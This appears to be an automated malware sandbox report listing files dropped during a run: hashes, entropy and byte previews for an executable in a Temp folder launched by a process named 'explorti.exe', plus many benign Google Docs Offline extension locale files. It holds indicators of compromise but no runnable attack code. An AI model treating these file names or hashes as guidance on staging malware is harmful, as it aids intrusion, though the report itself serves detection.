Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	917504
Entropy (8bit):	6.579765477028915
Encrypted:	false
SSDEEP:	12288:6qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgacTU:6qDEvCTbMWu7rQYlBQcBiT6rprG8asU
MD5:	F1864783E3A390625B906496CA7983A2
SHA1:	807A570A958B1D28BC26EB54733AF898FCE2506B
SHA-256:	EFEA84D55DB44BB4E25F002C66D625A4E08406584AA959AE10620A0EE2F898A8
SHA-512:	6137CBE5A7959238CE15E12E5B3073A342AFBCEEB7717EDB2760DCEC608DFB6D8E78BE0D21A7CD4D9DB0845FD49C8A9A4B47D283AAA1469CEB92C82147EADFC6
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......f.........."..........P......w.............@..........................`......(.....@...@.......@.....................d...\|....@..........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc.......@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\79c41a86-b9c8-4c0d-af72-2718544137a7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\adb33330-df04-4a0a-a55a-54146745e171.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	5.337954404647131
Encrypted:	false
SSDEEP:	12:YWKPNN00Dkv/cx156s/c9VopQ0Dkv/c9Vpcl56s/C:YvPP00r156Vn0zV6l5M
MD5:	E26E8F55AA40135CE58C6124ED62400A
SHA1:	40FC078382BEDEA9B1B266F4FF88715309A75B93
SHA-256:	12864D4978A12FBC7D391F2AA64ECEBEEAE98B438926E8E3E523F0CF481381B0
SHA-512:	B60910C27CFF8B62ECC09FA5E3BE79809E1A831A2CAEB43BFC94F110DA23336A8B0AA511FA7814EBB3169D52A161BD41FFBBF530EDDC2C816E35BD558109D3DF
Malicious:	false
Preview:	{"logTime": "0901/030920", "correlationVector":"591E506BB3734088B5DA66D5C54DFCEE","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "0901/030936", "correlationVector":"n6WshfQ5eHLDxlu6+XC01V","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "0901/030938", "correlationVector":"9015EFE9A24647F38AA6477E16467FA4","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "0901/030938", "correlationVector":"ijXf796fROVwWTc8/tYMCu","action":"EXTENSION_UPDATER", "result":""}.

C:\Users\user\AppData\Local\Temp\e931a81a-b83d-42d1-bda5-1d088f67d910.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135751
Entropy (8bit):	7.804610863392373
Encrypted:	false
SSDEEP:	1536:h+OX7O5AeBWdSq2Zso2iDNjF3dNUPOTy61NVo8OJXhQXXUWFMOiiBIHWI7YyjM/8:pVdSj9hjVn6Oj5fOJR+k0iiW2IPMaIul
MD5:	83EF25FBEE6866A64F09323BFE1536E0
SHA1:	24E8BD033CD15E3CF4F4FF4C8123E1868544AC65
SHA-256:	F421D74829F2923FD9E5A06153E4E42DB011824C33475E564B17091598996E6F
SHA-512:	C699D1C9649977731EEA0CB4740C4BEAACEEC82AECC43F9F2B1E5625C487C0BC45FA08A1152A35EFBDB3DB73B8AF3625206315D1F9645A24E1969316F9F5B38C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[..........1...c@e.J.~..A...(9=...I.N.e..T......6.7...Kk?....]<.S(.....9}........$..6...:...9..b\|B..8..I..7.8K\.KIn7.:.!^;.H........8.....,.\....b..uC...e?..E.U.........P..G..u!+......C.)Kw...............4..Qye..=$..Q.......?Oi.,O.RW6.k.+.&. .wu..tf....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E. ..r.....p..~..3.1.vD.i.]...~...!...<..4KV.~y.).`........>E.NT.%1".%............o.....J._.H.B..w..C......UU.&C..fB&..\|..i..J......I.??^.Z.....Y....0^......?...o.....O.~......W.....~.......R..z.Ma...u]....-.n....2s<....E..6.<..W.H.qh....:j.y...N.D.]Nj....../..a...{....g.....f).~._....1q..L..#.G...Q.w...J."

C:\Users\user\AppData\Local\Temp\f4d2671a-378e-4455-9c48-8eba9115435b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3104_1520866546\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
